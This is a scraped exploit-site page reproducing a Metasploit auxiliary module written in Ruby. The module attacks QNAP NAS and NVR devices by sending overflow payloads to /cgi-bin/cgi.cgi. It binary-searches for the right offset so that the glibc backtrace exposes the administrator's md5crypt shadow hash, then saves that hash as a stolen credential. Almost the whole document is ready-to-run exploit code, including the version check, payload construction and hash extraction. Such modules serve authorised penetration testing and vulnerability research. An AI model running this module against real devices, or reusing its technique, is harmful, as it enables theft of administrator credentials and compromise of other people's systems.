Share
## https://sploitus.com/exploit?id=PACKETSTORM:180617
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'QNAP NAS/NVR Administrator Hash Disclosure',  
'Description' => %q{  
This module exploits combined heap and stack buffer overflows for QNAP  
NAS and NVR devices to dump the admin (root) shadow hash from memory via  
an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace.  
  
A binary search is performed to find the correct offset for the BOFs.  
Since the server forks, blind remote exploitation is possible, provided  
the heap does not have ASLR.  
},  
'Author' => [  
'bashis', # Vuln/PoC  
'wvu', # Module  
'Donald Knuth' # Algorithm  
],  
'References' => [  
['URL', 'https://seclists.org/fulldisclosure/2017/Feb/2'],  
['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm']  
],  
'DisclosureDate' => '2017-01-31',  
'License' => MSF_LICENSE,  
'Actions' => [  
['Automatic', 'Description' => 'Automatic targeting'],  
['x86', 'Description' => 'x86 target', offset: 0x16b2],  
['ARM', 'Description' => 'ARM target', offset: 0x1562]  
],  
'DefaultAction' => 'Automatic',  
'DefaultOptions' => {  
'SSL' => true  
}  
))  
  
register_options([  
Opt::RPORT(443),  
OptInt.new('OFFSET_START', [true, 'Starting offset (backtrace)', 2000]),  
OptInt.new('OFFSET_END', [true, 'Ending offset (no backtrace)', 5000]),  
OptInt.new('RETRIES', [true, 'Retry count for the attack', 10])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/cgi-bin/authLogin.cgi'  
)  
  
if res && res.code == 200 && (xml = res.get_xml_document)  
info = []  
  
%w{modelName version build patch}.each do |node|  
info << xml.at("//#{node}").text  
end  
  
@target = (xml.at('//platform').text == 'TS-NASX86' ? 'x86' : 'ARM')  
vprint_status("QNAP #{info[0]} #{info[1..-1].join('-')} detected")  
  
if Rex::Version.new(info[1]) < Rex::Version.new('4.2.3')  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Detected  
end  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def run  
if check == Exploit::CheckCode::Safe  
print_error('Device does not appear to be a QNAP')  
return  
end  
  
admin_hash = nil  
  
(0..datastore['RETRIES']).each do |attempt|  
vprint_status("Retry #{attempt} in progress") if attempt > 0  
break if (admin_hash = dump_hash)  
end  
  
if admin_hash  
print_good("Hopefully this is your hash: #{admin_hash}")  
credential_data = {  
workspace_id: myworkspace_id,  
module_fullname: self.fullname,  
username: 'admin',  
private_data: admin_hash,  
private_type: :nonreplayable_hash,  
jtr_format: 'md5crypt'  
}.merge(service_details)  
create_credential(credential_data)  
else  
print_error('Looks like we didn\'t find the hash :(')  
end  
  
vprint_status("#{@cnt} HTTP requests were sent during module run")  
end  
  
def dump_hash  
l = datastore['OFFSET_START']  
r = datastore['OFFSET_END']  
  
start = Time.now  
t = binsearch(l, r)  
stop = Time.now  
  
time = stop - start  
vprint_status("Binary search of #{l}-#{r} completed in #{time}s")  
  
if action.name == 'Automatic'  
target = actions.find do |tgt|  
tgt.name == @target  
end  
else  
target = action  
end  
  
return if t.nil? || @offset.nil? || target.nil?  
  
offset = @offset - target[:offset]  
  
find_hash(t, offset)  
end  
  
def find_hash(t, offset)  
admin_hash = nil  
  
# Off by one or two...  
2.times do  
t += 1  
  
if (res = send_request(t, [offset].pack('V')))  
if (backtrace = find_backtrace(res))  
token = backtrace[0].split[4]  
end  
end  
  
if token && token.start_with?('$1$')  
admin_hash = token  
addr = "0x#{offset.to_s(16)}"  
vprint_status("Admin hash found at #{addr} with offset #{t}")  
break  
end  
end  
  
admin_hash  
end  
  
# Shamelessly stolen from Knuth  
def binsearch(l, r)  
return if l > r  
  
@m = ((l + r) / 2).floor  
  
res = send_request(@m)  
  
return if res.nil?  
  
if find_backtrace(res)  
l = @m + 1  
else  
r = @m - 1  
end  
  
binsearch(l, r)  
  
@m  
end  
  
def send_request(m, ret = nil)  
@cnt = @cnt.to_i + 1  
  
payload = Rex::Text.encode_base64(  
Rex::Text.rand_text(1) * m +  
(ret ? ret : Rex::Text.rand_text(4))  
)  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/cgi-bin/cgi.cgi',  
#'vhost' => 'Q',  
'vars_get' => {  
'u' => 'admin',  
'p' => payload  
}  
)  
  
res  
end  
  
def find_backtrace(res)  
res.headers.find do |name, val|  
if name.include?('glibc detected')  
@offset = val.split[-2].to_i(16)  
end  
end  
end  
end